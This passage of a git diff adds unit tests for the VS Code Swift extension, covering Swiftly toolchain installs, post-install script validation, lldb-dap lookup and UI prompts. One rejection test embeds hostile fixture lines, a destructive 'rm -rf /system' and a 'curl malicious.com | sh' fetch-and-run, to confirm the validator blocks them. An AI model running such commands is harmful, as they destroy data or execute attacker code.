expect(mockUtilities.execFile).to.not.have.been.calledWith("mkfifo", match.array); + }); + + test("should create progress pipe when progress callback is provided", async () => { + mockUtilities.execFileStreamOutput.withArgs("swiftly").resolves(); + mockUtilities.execFile.withArgs("mkfifo").resolves({ stdout: "", stderr: "" }); + + const progressCallback = () => {}; + + try { + await Swiftly.installToolchain("6.0.0", "/path/to/extension", progressCallback); + } catch (error) { + // Expected due to mock-fs limitations with named pipes in this test environment + } + + expect(mockUtilities.execFile).to.have.been.calledWith("mkfifo", match.array); + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "swiftly", + match.array, + match.any, + match.any, + match.any, + match.any + ); + }); + }); + + suite("Post-Install File Handling", () => { + const mockVscodeWindow = mockGlobalObject(vscode, "window"); + + setup(() => { + mockedPlatform.setValue("linux"); + mockVscodeWindow.showWarningMessage.reset(); + mockVscodeWindow.showInformationMessage.reset(); + mockVscodeWindow.showErrorMessage.reset(); + mockVscodeWindow.createOutputChannel.reset(); + + // Mock createOutputChannel to return a basic output channel mock + mockVscodeWindow.createOutputChannel.returns({ + show: () => {}, + appendLine: () => {}, + append: () => {}, + hide: () => {}, + dispose: () => {}, + name: "test-channel", + replace: () => {}, + clear: () => {}, + } as any); + }); + + test("should execute post-install script when user confirms and script is valid", async () => { + const validScript = `#!/bin/bash +apt-get -y install build-essential +apt-get -y install libncurses5-dev`; + + mockUtilities.execFileStreamOutput + .withArgs("swiftly", [ + "install", + "6.0.0", + "--assume-yes", + "--post-install-file", + match.string, + ]) + .callsFake(async (_command, args) => { + const postInstallPath = args[4]; + await fs.writeFile(postInstallPath, validScript); + return; + }); + mockUtilities.execFile + .withArgs("chmod", match.array) + .resolves({ stdout: "", stderr: "" }); + + // Mock execFileStreamOutput for sudo + mockUtilities.execFileStreamOutput.withArgs("sudo").resolves(); + + // @ts-expect-error mocking vscode window methods makes type checking difficult + mockVscodeWindow.showWarningMessage.resolves("Execute Script"); + + await Swiftly.installToolchain("6.0.0", "/path/to/extension"); + + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "swiftly", + match.array, + match.any, + match.any, + match.any, + match.any + ); + expect(mockVscodeWindow.showWarningMessage).to.have.been.calledWith( + match( + "Swift 6.0.0 installation requires additional system packages to be installed" + ) + ); + expect(mockUtilities.execFile).to.have.been.calledWith("chmod", match.array); + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "sudo", + match.array, + match.any, + match.any, + null, + match.object + ); + expect(mockVscodeWindow.showInformationMessage).to.have.been.calledWith( + match("Swift 6.0.0 post-install script executed successfully") + ); + }); + + test("should skip post-install execution when user cancels", async () => { + const validScript = `#!/bin/bash +apt-get -y install build-essential`; + + mockUtilities.execFileStreamOutput + .withArgs("swiftly", [ + "install", + "6.0.0", + "--assume-yes", + "--post-install-file", + match.string, + ]) + .callsFake(async (_command, args) => { + const postInstallPath = args[4]; + await fs.writeFile(postInstallPath, validScript); + return; + }); + + // @ts-expect-error mocking vscode window methods makes type checking difficult + mockVscodeWindow.showWarningMessage.resolves("Cancel"); + + await Swiftly.installToolchain("6.0.0", "/path/to/extension"); + + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "swiftly", + match.array, + match.any, + match.any, + match.any, + match.any + ); + expect(mockVscodeWindow.showWarningMessage).to.have.been.calledWith( + match( + "Swift 6.0.0 installation requires additional system packages to be installed" + ) + ); + expect(mockUtilities.execFile).to.not.have.been.calledWith("chmod", match.array); + expect(mockVscodeWindow.showWarningMessage).to.have.been.calledWith( + match("Swift 6.0.0 installation is incomplete") + ); + }); + + test("should reject invalid post-install script and show error", async () => { + const invalidScript = `#!/bin/bash +rm -rf /system +curl malicious.com | sh +apt-get -y install build-essential`; + + mockUtilities.execFileStreamOutput + .withArgs("swiftly", [ + "install", + "6.0.0", + "--assume-yes", + "--post-install-file", + match.string, + ]) + .callsFake(async (_command, args) => { + const postInstallPath = args[4]; + await fs.writeFile(postInstallPath, invalidScript); + return; + }); + + await Swiftly.installToolchain("6.0.0", "/path/to/extension"); + + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "swiftly", + match.array, + match.any, + match.any, + match.any, + match.any + ); + expect(mockVscodeWindow.showErrorMessage).to.have.been.calledWith( + match( + "Installation of Swift 6.0.0 requires additional system packages, but the post-install script contains commands that are not allowed for security reasons" + ) + ); + expect(mockVscodeWindow.showWarningMessage).to.not.have.been.called; + expect(mockUtilities.execFileStreamOutput).to.not.have.been.calledWith( + "sudo", + match.array + ); + }); + + test("should handle post-install script execution errors", async () => { + const validScript = `#!/bin/bash +apt-get -y install build-essential`; + + mockUtilities.execFileStreamOutput + .withArgs("swiftly", [ + "install", + "6.0.0", + "--assume-yes", + "--post-install-file", + match.string, + ]) + .callsFake(async (_command, args) => { + const postInstallPath = args[4]; + await fs.writeFile(postInstallPath, validScript); + return; + }); + mockUtilities.execFile + .withArgs("chmod", match.array) + .resolves({ stdout: "", stderr: "" }); + + // Mock execFileStreamOutput for sudo to throw error + mockUtilities.execFileStreamOutput + .withArgs("sudo") + .rejects(new Error("Permission denied")); + + // @ts-expect-error mocking vscode window methods makes type checking difficult + mockVscodeWindow.showWarningMessage.resolves("Execute Script"); + mockVscodeWindow.showErrorMessage.resolves(undefined); + + await Swiftly.installToolchain("6.0.0", "/path/to/extension"); + + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "swiftly", + match.array, + match.any, + match.any, + match.any, + match.any + ); + expect(mockVscodeWindow.showWarningMessage).to.have.been.calledWith( + match( + "Swift 6.0.0 installation requires additional system packages to be installed" + ) + ); + expect(mockUtilities.execFile).to.have.been.calledWith("chmod", match.array); + expect(mockVscodeWindow.showErrorMessage).to.have.been.calledWith( + match("Failed to execute post-install script for Swift 6.0.0") + ); + }); + + test("should complete installation successfully when no post-install file exists", async () => { + mockUtilities.execFileStreamOutput.withArgs("swiftly").resolves(); + + await Swiftly.installToolchain("6.0.0", "/path/to/extension"); + + expect(mockVscodeWindow.showWarningMessage).to.not.have.been.called; + expect(mockVscodeWindow.showErrorMessage).to.not.have.been.called; + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "swiftly", + match.array, + match.any, + match.any, + match.any, + match.any + ); + }); + + test("should validate yum-based post-install scripts", async () => { + const yumScript = `#!/bin/bash +yum install gcc-c++ +yum install ncurses-devel`; + + mockUtilities.execFileStreamOutput + .withArgs("swiftly", [ + "install", + "6.0.0", + "--assume-yes", + "--post-install-file", + match.string, + ]) + .callsFake(async (_command, args) => { + const postInstallPath = args[4]; + await fs.writeFile(postInstallPath, yumScript); + return; + }); + mockUtilities.execFile + .withArgs("chmod", match.array) + .resolves({ stdout: "", stderr: "" }); + + // Mock execFileStreamOutput for sudo + mockUtilities.execFileStreamOutput.withArgs("sudo").resolves(); + + // @ts-expect-error mocking vscode window methods makes type checking difficult + mockVscodeWindow.showWarningMessage.resolves("Execute Script"); + + await Swiftly.installToolchain("6.0.0", "/path/to/extension"); + + expect(mockVscodeWindow.showWarningMessage).to.have.been.calledWith( + match( + "Swift 6.0.0 installation requires additional system packages to be installed" + ) + ); + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "sudo", + match.array, + match.any, + match.any, + null, + match.object + ); + }); + + test("should handle malformed package manager commands in post-install script", async () => { + const malformedScript = `#!/bin/bash +apt-get install --unsafe-flag malicious-package +yum remove important-system-package`; + + mockUtilities.execFileStreamOutput + .withArgs("swiftly", [ + "install", + "6.0.0", + "--assume-yes", + "--post-install-file", + match.string, + ]) + .callsFake(async (_command, args) => { + const postInstallPath = args[4]; + await fs.writeFile(postInstallPath, malformedScript); + return; + }); + + await Swiftly.installToolchain("6.0.0", "/path/to/extension"); + + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "swiftly", + match.array, + match.any, + match.any, + match.any, + match.any + ); + expect(mockVscodeWindow.showErrorMessage).to.have.been.calledWith( + match( + "Installation of Swift 6.0.0 requires additional system packages, but the post-install script contains commands that are not allowed for security reasons" + ) + ); + }); + + test("should ignore comments and empty lines in post-install script", async () => { + const scriptWithComments = `#!/bin/bash +# This is a comment + +apt-get -y install libncurses5-dev +# Another comment + +`; + + mockUtilities.execFileStreamOutput + .withArgs("swiftly", [ + "install", + "6.0.0", + "--assume-yes", + "--post-install-file", + match.string, + ]) + .callsFake(async (_command, args) => { + const postInstallPath = args[4]; + await fs.writeFile(postInstallPath, scriptWithComments); + return; + }); + mockUtilities.execFile + .withArgs("chmod", match.array) + .resolves({ stdout: "", stderr: "" }); + + // Mock execFileStreamOutput for sudo + mockUtilities.execFileStreamOutput.withArgs("sudo").resolves(); + + // @ts-expect-error mocking vscode window methods makes type checking difficult + mockVscodeWindow.showWarningMessage.resolves("Execute Script"); + + await Swiftly.installToolchain("6.0.0", "/path/to/extension"); + + expect(mockVscodeWindow.showWarningMessage).to.have.been.calledWith( + match( + "Swift 6.0.0 installation requires additional system packages to be installed" + ) + ); + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "sudo", + match.array, + match.any, + match.any, + null, + match.object + ); + }); + + test("should skip post-install handling on macOS", async () => { + mockedPlatform.setValue("darwin"); + mockUtilities.execFileStreamOutput.withArgs("swiftly").resolves(); + + await Swiftly.installToolchain("6.0.0", "/path/to/extension"); + + expect(mockVscodeWindow.showWarningMessage).to.not.have.been.called; + expect(mockUtilities.execFileStreamOutput).to.not.have.been.calledWith( + "sudo", + match.array + ); + }); + }); + + suite("Missing Toolchain Handling", () => { + test("parseSwiftlyMissingToolchainError parses version correctly", () => { + const stderr = + "The swift version file uses toolchain version 6.1.2, but it doesn't match any of the installed toolchains. You can install the toolchain with `swiftly install`."; + const result = parseSwiftlyMissingToolchainError(stderr); + expect(result?.version).to.equal("6.1.2"); + expect(result?.originalError).to.equal(stderr); + }); + + test("parseSwiftlyMissingToolchainError returns undefined for other errors", () => { + const stderr = "Some other error message"; + const result = parseSwiftlyMissingToolchainError(stderr); + expect(result).to.be.undefined; + }); + + test("parseSwiftlyMissingToolchainError handles snapshot versions", () => { + const stderr = + "uses toolchain version 6.1-snapshot-2024-12-01, but it doesn't match any of the installed toolchains"; + const result = parseSwiftlyMissingToolchainError(stderr); + expect(result?.version).to.equal("6.1-snapshot-2024-12-01"); + }); + + test("parseSwiftlyMissingToolchainError handles versions with hyphens", () => { + const stderr = + "uses toolchain version 6.0-dev, but it doesn't match any of the installed toolchains"; + const result = parseSwiftlyMissingToolchainError(stderr); + expect(result?.version).to.equal("6.0-dev"); + }); + }); + + suite("handleMissingSwiftlyToolchain", () => { + const mockWindow = mockGlobalObject(vscode, "window"); + const mockedUtilities = mockGlobalModule(utilities); + const mockSwiftlyInstallToolchain = mockGlobalValue(Swiftly, "installToolchain"); + + test("handleMissingSwiftlyToolchain returns false when user declines installation", async () => { + mockWindow.showWarningMessage.resolves(undefined); // User cancels/declines + const result = await handleMissingSwiftlyToolchain("6.1.2", "/path/to/extension"); + expect(result).to.be.false; + }); + + test("handleMissingSwiftlyToolchain returns true when user accepts and installation succeeds", async () => { + // User accepts the installation + mockWindow.showWarningMessage.resolves("Install Toolchain" as any); + + // Mock successful installation with progress + mockWindow.withProgress.callsFake(async (_options, task) => { + const mockProgress = { report: () => {} }; + const mockToken = { + isCancellationRequested: false, + onCancellationRequested: () => ({ dispose: () => {} }), + }; + await task(mockProgress, mockToken); + return true; + }); + + mockSwiftlyInstallToolchain.setValue(() => Promise.resolve(void 0)); + + // Mock the installSwiftlyToolchainVersion to succeed + mockedUtilities.execFile + .withArgs("swiftly", match.any) + .resolves({ stdout: "", stderr: "" }); + + const result = await handleMissingSwiftlyToolchain("6.1.2", "/path/to/extension"); + expect(result).to.be.true; + }); + }); + + suite("Toolchain Installation Cancellation", () => { + const mockWindow = mockGlobalObject(vscode, "window"); + + test("installToolchain should handle cancellation during progress", async () => { + mockedPlatform.setValue("darwin"); + + // Mock a cancellation token that gets cancelled + const mockToken = { + isCancellationRequested: true, + onCancellationRequested: () => ({ dispose: () => {} }), + }; + + // Mock mkfifo to succeed + mockUtilities.execFile.withArgs("mkfifo").resolves({ stdout: "", stderr: "" }); + + // Mock swiftly install to throw cancellation error + mockUtilities.execFileStreamOutput + .withArgs("swiftly") + .rejects(new Error(Swiftly.cancellationMessage)); + + const progressCallback = () => {}; + + await expect( + Swiftly.installToolchain( + "6.0.0", + "/path/to/extension", + progressCallback, + undefined, + mockToken as any + ) + ).to.eventually.be.rejectedWith(Swiftly.cancellationMessage); + }); + + test("installToolchain should handle cancellation without progress callback", async () => { + mockedPlatform.setValue("darwin"); + + // Mock a cancellation token that gets cancelled + const mockToken = { + isCancellationRequested: true, + onCancellationRequested: () => ({ dispose: () => {} }), + }; + + // Mock swiftly install to throw cancellation error + mockUtilities.execFileStreamOutput + .withArgs("swiftly") + .rejects(new Error(Swiftly.cancellationMessage)); + + await expect( + Swiftly.installToolchain("6.0.0", "", undefined, undefined, mockToken) + ).to.eventually.be.rejectedWith(Swiftly.cancellationMessage); + }); + + test("installSwiftlyToolchainVersion should handle cancellation gracefully", async () => { + // Mock window.withProgress to simulate cancellation + mockWindow.withProgress.callsFake(async (_options, task) => { + const mockProgress = { report: () => {} }; + const mockToken = { + isCancellationRequested: true, + onCancellationRequested: () => ({ dispose: () => {} }), + }; + + // Simulate the task throwing a cancellation error + try { + await task(mockProgress, mockToken); + } catch (error) { + if ((error as Error).message.includes(Swiftly.cancellationMessage)) { + throw error; + } + } + }); + + // Mock Swiftly.installToolchain to throw cancellation error + mockUtilities.execFileStreamOutput + .withArgs("swiftly") + .rejects(new Error(Swiftly.cancellationMessage)); + + const result = await installSwiftlyToolchainWithProgress("6.0.0", "/path/to/extension"); + + expect(result).to.be.false; + expect(mockWindow.showErrorMessage).to.not.have.been.called; + }); + + test("installSwiftlyToolchainVersion should show error for non-cancellation errors", async () => { + // Mock window.withProgress to simulate a regular error + mockWindow.withProgress.callsFake(async (_options, task) => { + const mockProgress = { report: () => {} }; + const mockToken = { + isCancellationRequested: false, + onCancellationRequested: () => ({ dispose: () => {} }), + }; + + await task(mockProgress, mockToken); + }); + + // Mock Swiftly.installToolchain to throw a regular error + mockUtilities.execFileStreamOutput + .withArgs("swiftly") + .rejects(new Error("Network error")); + + const result = await installSwiftlyToolchainWithProgress("6.0.0", "/path/to/extension"); + + expect(result).to.be.false; + expect(mockWindow.showErrorMessage).to.have.been.calledWith( + match("Failed to install Swift 6.0.0") + ); + }); + + test("cancellationMessage should be properly defined", () => { + expect(Swiftly.cancellationMessage).to.equal("Installation cancelled by user"); + }); + }); +}); diff --git a/test/unit-tests/toolchain/toolchain.test.ts b/test/unit-tests/toolchain/toolchain.test.ts new file mode 100644 index 000000000..965d617e9 --- /dev/null +++ b/test/unit-tests/toolchain/toolchain.test.ts @@ -0,0 +1,301 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as mockFS from "mock-fs"; +import * as path from "path"; + +import { SwiftToolchain } from "@src/toolchain/toolchain"; +import * as utilities from "@src/utilities/utilities"; +import { Version } from "@src/utilities/version"; + +import { mockGlobalModule, mockGlobalValue } from "../../MockUtils"; + +suite("SwiftToolchain Unit Test Suite", () => { + const mockedUtilities = mockGlobalModule(utilities); + const mockedPlatform = mockGlobalValue(process, "platform"); + + setup(() => { + mockFS({}); + mockedUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.0.0\n", + stderr: "", + }); + }); + + teardown(() => { + mockFS.restore(); + }); + + suite("getLLDBDebugAdapter()", () => { + function createSwiftToolchain(options: { + swiftFolderPath: string; + toolchainPath: string; + }): SwiftToolchain { + return new SwiftToolchain( + options.swiftFolderPath, + options.toolchainPath, + /* targetInfo */ { + compilerVersion: "6.0.0", + paths: { + runtimeLibraryPaths: [], + }, + }, + /* swiftVersion */ new Version(6, 0, 0), + /* runtimePath */ undefined, + /* defaultSDK */ undefined, + /* customSDK */ undefined, + /* xcTestPath */ undefined, + /* swiftTestingPath */ undefined, + /* swiftPMTestingHelperPath */ undefined + ); + } + + suite("macOS", () => { + setup(() => { + mockedPlatform.setValue("darwin"); + }); + + test("returns the path to lldb-dap if it exists within a public toolchain", async () => { + mockFS({ + "/Library/Developer/Toolchains/swift-6.0.1-RELEASE.xctoolchain/usr/bin/lldb-dap": + mockFS.file({ + content: "", + mode: 0o770, + }), + }); + const sut = createSwiftToolchain({ + swiftFolderPath: + "/Library/Developer/Toolchains/swift-6.0.1-RELEASE.xctoolchain/usr/bin", + toolchainPath: "/Library/Developer/Toolchains/swift-6.0.1-RELEASE.xctoolchain", + }); + + await expect(sut.getLLDBDebugAdapter()).to.eventually.equal( + path.normalize( + "/Library/Developer/Toolchains/swift-6.0.1-RELEASE.xctoolchain/usr/bin/lldb-dap" + ) + ); + }); + + test("throws an error if lldb-dap does not exist within a public toolchain", async () => { + mockFS({ + "/Library/Developer/Toolchains/swift-6.0.1-RELEASE.xctoolchain/usr/bin": {}, + }); + const sut = createSwiftToolchain({ + swiftFolderPath: + "/Library/Developer/Toolchains/swift-6.0.1-RELEASE.xctoolchain/usr/bin", + toolchainPath: "/Library/Developer/Toolchains/swift-6.0.1-RELEASE.xctoolchain", + }); + + await expect(sut.getLLDBDebugAdapter()).to.eventually.be.rejectedWith( + "Failed to find lldb-dap within Swift toolchain '/Library/Developer/Toolchains/swift-6.0.1-RELEASE.xctoolchain'" + ); + }); + + test("returns the path to lldb-dap if it exists within an Xcode toolchain", async () => { + mockFS({ + "/Applications/Xcode.app/Contents/Developer": { + Toolchains: { + "XcodeDefault.xctoolchain": {}, + }, + usr: { + bin: { + "lldb-dap": mockFS.file({ + content: "", + mode: 0o770, + }), + }, + }, + }, + }); + mockedUtilities.execFile.resolves({ + stdout: "/Applications/Xcode.app/Contents/Developer/usr/bin/lldb-dap", + stderr: "", + }); + const sut = createSwiftToolchain({ + swiftFolderPath: + "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin", + toolchainPath: + "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain", + }); + + await expect(sut.getLLDBDebugAdapter()).to.eventually.equal( + "/Applications/Xcode.app/Contents/Developer/usr/bin/lldb-dap" + ); + }); + + test("throws an error if xcrun fails when trying to find lldb-dap within an Xcode toolchain", async () => { + mockFS({ + "/Applications/Xcode.app/Contents/Developer": { + Toolchains: { + "XcodeDefault.xctoolchain": {}, + }, + usr: { + bin: {}, + }, + }, + }); + mockedUtilities.execFile.rejects(new Error("Uh oh!")); + const sut = createSwiftToolchain({ + swiftFolderPath: + "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin", + toolchainPath: + "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain", + }); + + await expect(sut.getLLDBDebugAdapter()).to.eventually.be.rejectedWith( + "Failed to find lldb-dap within Xcode Swift toolchain '/Applications/Xcode.app':\nUh oh!" + ); + }); + }); + + suite("Linux", () => { + setup(() => { + mockedPlatform.setValue("linux"); + }); + + test("returns the path to lldb-dap if it exists within the toolchain", async () => { + mockFS({ + "/toolchains/swift-6.0.0/usr/bin": { + "lldb-dap": mockFS.file({ + content: "", + mode: 0o770, + }), + }, + }); + const sut = createSwiftToolchain({ + swiftFolderPath: "/toolchains/swift-6.0.0/usr/bin", + toolchainPath: "/toolchains/swift-6.0.0", + }); + + await expect(sut.getLLDBDebugAdapter()).to.eventually.equal( + path.normalize("/toolchains/swift-6.0.0/usr/bin/lldb-dap") + ); + }); + + test("throws an error if lldb dap doesn't exist within the toolchain", async () => { + mockFS({ + "/toolchains/swift-6.0.0/usr/bin": {}, + }); + const sut = createSwiftToolchain({ + swiftFolderPath: "/toolchains/swift-6.0.0/usr/bin", + toolchainPath: "/toolchains/swift-6.0.0", + }); + + await expect(sut.getLLDBDebugAdapter()).to.eventually.be.rejectedWith( + "Failed to find lldb-dap within Swift toolchain '/toolchains/swift-6.0.0'" + ); + }); + }); + + suite("Windows", () => { + setup(() => { + mockedPlatform.setValue("win32"); + }); + + test("returns the path to lldb-dap.exe if it exists within the toolchain", async () => { + mockFS({ + "/toolchains/swift-6.0.0/usr/bin": { + "lldb-dap.exe": mockFS.file({ + content: "", + mode: 0o770, + }), + }, + }); + const sut = createSwiftToolchain({ + swiftFolderPath: "/toolchains/swift-6.0.0/usr/bin", + toolchainPath: "/toolchains/swift-6.0.0", + }); + + await expect(sut.getLLDBDebugAdapter()).to.eventually.equal( + path.normalize("/toolchains/swift-6.0.0/usr/bin/lldb-dap.exe") + ); + }); + + test("throws an error if lldb-dap.exe doesn't exist within the toolchain", async () => { + mockFS({ + "/toolchains/swift-6.0.0/usr/bin": {}, + }); + const sut = createSwiftToolchain({ + swiftFolderPath: "/toolchains/swift-6.0.0/usr/bin", + toolchainPath: "/toolchains/swift-6.0.0", + }); + + await expect(sut.getLLDBDebugAdapter()).to.eventually.be.rejectedWith( + "Failed to find lldb-dap.exe within Swift toolchain '/toolchains/swift-6.0.0'" + ); + }); + }); + }); + + suite("findXcodeInstalls()", () => { + test("returns the list of Xcode installations found in the Spotlight index on macOS", async () => { + mockedPlatform.setValue("darwin"); + mockedUtilities.execFile.withArgs("mdfind").resolves({ + stdout: "/Applications/Xcode.app\n/Applications/Xcode-beta.app\n", + stderr: "", + }); + mockedUtilities.execFile + .withArgs("xcode-select", ["-p"]) + .resolves({ stdout: "", stderr: "" }); + + const sortedXcodeInstalls = (await SwiftToolchain.findXcodeInstalls()).sort(); + expect(sortedXcodeInstalls).to.deep.equal([ + "/Applications/Xcode-beta.app", + "/Applications/Xcode.app", + ]); + }); + + test("includes the currently selected Xcode installation on macOS", async () => { + mockedPlatform.setValue("darwin"); + mockedUtilities.execFile.withArgs("mdfind").resolves({ + stdout: "/Applications/Xcode-beta.app\n", + stderr: "", + }); + mockedUtilities.execFile + .withArgs("xcode-select", ["-p"]) + .resolves({ stdout: "/Applications/Xcode.app\n", stderr: "" }); + + const sortedXcodeInstalls = (await SwiftToolchain.findXcodeInstalls()).sort(); + expect(sortedXcodeInstalls).to.deep.equal([ + "/Applications/Xcode-beta.app", + "/Applications/Xcode.app", + ]); + }); + + test("does not duplicate the currently selected Xcode installation on macOS", async () => { + mockedPlatform.setValue("darwin"); + mockedUtilities.execFile.withArgs("mdfind").resolves({ + stdout: "/Applications/Xcode.app\n/Applications/Xcode-beta.app\n", + stderr: "", + }); + mockedUtilities.execFile + .withArgs("xcode-select", ["-p"]) + .resolves({ stdout: "/Applications/Xcode.app\n", stderr: "" }); + + const sortedXcodeInstalls = (await SwiftToolchain.findXcodeInstalls()).sort(); + expect(sortedXcodeInstalls).to.deep.equal([ + "/Applications/Xcode-beta.app", + "/Applications/Xcode.app", + ]); + }); + + test("returns an empty array on non-macOS platforms", async () => { + mockedPlatform.setValue("linux"); + await expect(SwiftToolchain.findXcodeInstalls()).to.eventually.be.empty; + + mockedPlatform.setValue("win32"); + await expect(SwiftToolchain.findXcodeInstalls()).to.eventually.be.empty; + }); + }); +}); diff --git a/test/unit-tests/ui/PackageDependencyProvider.test.ts b/test/unit-tests/ui/PackageDependencyProvider.test.ts new file mode 100644 index 000000000..671b27a84 --- /dev/null +++ b/test/unit-tests/ui/PackageDependencyProvider.test.ts @@ -0,0 +1,125 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as fs from "fs/promises"; +import * as path from "path"; +import * as vscode from "vscode"; + +import { FileNode, PackageNode } from "@src/ui/ProjectPanelProvider"; + +import { mockGlobalModule } from "../../MockUtils"; + +suite("PackageDependencyProvider Unit Test Suite", function () { + suite("FileNode", () => { + test("can create a VSCode TreeItem that opens a file", () => { + const node = new FileNode("Foo", "/path/to/Foo", false); + const item = node.toTreeItem(); + + const expectedUri = vscode.Uri.file("/path/to/Foo"); + expect(item.label).to.equal("Foo"); + expect(item.resourceUri).to.deep.equal(expectedUri); + expect(item.command).to.deep.equal({ + command: "vscode.open", + arguments: [expectedUri], + title: "Open File", + }); + }); + + test("can create a VSCode TreeItem that represents a directory", () => { + const node = new FileNode("Foo", "/path/to/Foo", true); + const item = node.toTreeItem(); + + const expectedUri = vscode.Uri.file("/path/to/Foo"); + expect(item.label).to.equal("Foo"); + expect(item.resourceUri).to.deep.equal(expectedUri); + expect(item.command).to.be.undefined; + }); + }); + + suite("PackageNode", () => { + test("can create a VSCode TreeItem that represents a Swift package", () => { + const node = new PackageNode( + { + identity: "SwiftMarkdown", + path: "/path/to/.build/swift-markdown", + location: "https://github.com/swiftlang/swift-markdown.git", + dependencies: [], + version: "1.2.3", + type: "remote", + }, + () => [] + ); + const item = node.toTreeItem(); + + expect(item.label).to.equal("SwiftMarkdown"); + expect(item.description).to.deep.equal("1.2.3"); + expect(item.command).to.be.undefined; + }); + + const fsMock = mockGlobalModule(fs); + + test("enumerates child dependencies and files", async () => { + fsMock.stat.resolves({ isFile: () => true, isDirectory: () => false } as any); + + const node = new PackageNode( + { + identity: "SwiftMarkdown", + path: path.normalize("/path/to/.build/swift-markdown"), + location: "https://github.com/swiftlang/swift-markdown.git", + dependencies: [], + version: "1.2.3", + type: "remote", + }, + () => [ + { + identity: "SomeChildDependency", + path: path.normalize("/path/to/.build/child-dependency"), + location: "https://github.com/swiftlang/some-child-dependency.git", + dependencies: [], + version: "1.2.4", + type: "remote", + }, + ], + undefined, + () => + Promise.resolve([ + path.normalize("/path/to/.build/swift-markdown/file1"), + path.normalize("/path/to/.build/swift-markdown/file2"), + ]) + ); + + const children = await node.getChildren(); + + expect(children).to.have.lengthOf(3); + const [childDep, ...childFiles] = children; + expect(childDep.name).to.equal("SomeChildDependency"); + expect(childFiles).to.have.lengthOf(2); + + childFiles.forEach((file, index) => { + if (!(file instanceof FileNode)) { + throw new Error(`Expected FileNode, got ${file.constructor.name}`); + } + + const expectedName = `file${index + 1}`; + const expectedPath = path.normalize( + `/path/to/.build/swift-markdown/file${index + 1}` + ); + + expect(file.name).to.equal(expectedName, `File name should be file${index + 1}`); + expect(file.path).to.equal(expectedPath, `File path should match expected path`); + expect(file.isDirectory).to.be.false; + }); + }); + }); +}); diff --git a/test/unit-tests/ui/ReloadExtension.test.ts b/test/unit-tests/ui/ReloadExtension.test.ts new file mode 100644 index 000000000..d9b2befcb --- /dev/null +++ b/test/unit-tests/ui/ReloadExtension.test.ts @@ -0,0 +1,85 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import { beforeEach } from "mocha"; +import * as vscode from "vscode"; + +import { showReloadExtensionNotificationInstance } from "@src/ui/ReloadExtension"; +import { Workbench } from "@src/utilities/commands"; + +import { mockGlobalObject } from "../../MockUtils"; + +suite("showReloadExtensionNotification()", function () { + const mockedVSCodeWindow = mockGlobalObject(vscode, "window"); + const mockedVSCodeCommands = mockGlobalObject(vscode, "commands"); + let showReloadExtensionNotification: ( + message: string, + ...items: string[] + ) => Promise; + + beforeEach(() => { + showReloadExtensionNotification = showReloadExtensionNotificationInstance(); + }); + + test("displays a warning message asking the user if they would like to reload the window", async () => { + mockedVSCodeWindow.showWarningMessage.resolves(undefined); + + await showReloadExtensionNotification("Want to reload?"); + + expect(mockedVSCodeWindow.showWarningMessage).to.have.been.calledOnceWithExactly( + "Want to reload?", + "Reload Extensions" + ); + expect(mockedVSCodeCommands.executeCommand).to.not.have.been.called; + }); + + test("reloads the extension if the user clicks the 'Reload Extensions' button", async () => { + mockedVSCodeWindow.showWarningMessage.resolves("Reload Extensions" as any); + + await showReloadExtensionNotification("Want to reload?"); + + expect(mockedVSCodeCommands.executeCommand).to.have.been.calledOnceWithExactly( + Workbench.ACTION_RELOADWINDOW + ); + }); + + test("can be configured to display additional buttons that the user can click", async () => { + mockedVSCodeWindow.showWarningMessage.resolves("Ignore" as any); + + await expect( + showReloadExtensionNotification("Want to reload?", "Ignore") + ).to.eventually.equal("Ignore"); + + expect(mockedVSCodeWindow.showWarningMessage).to.have.been.calledOnceWithExactly( + "Want to reload?", + "Reload Extensions", + "Ignore" + ); + expect(mockedVSCodeCommands.executeCommand).to.not.have.been.called; + }); + + test("only shows one dialog at a time", async () => { + mockedVSCodeWindow.showWarningMessage.resolves(undefined); + + await Promise.all([ + showReloadExtensionNotification("Want to reload?"), + showReloadExtensionNotification("Want to reload?"), + ]); + + expect(mockedVSCodeWindow.showWarningMessage).to.have.been.calledOnceWithExactly( + "Want to reload?", + "Reload Extensions" + ); + }); +}); diff --git a/test/unit-tests/ui/SwiftBuildStatus.test.ts b/test/unit-tests/ui/SwiftBuildStatus.test.ts new file mode 100644 index 000000000..5b972fe55 --- /dev/null +++ b/test/unit-tests/ui/SwiftBuildStatus.test.ts @@ -0,0 +1,223 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// 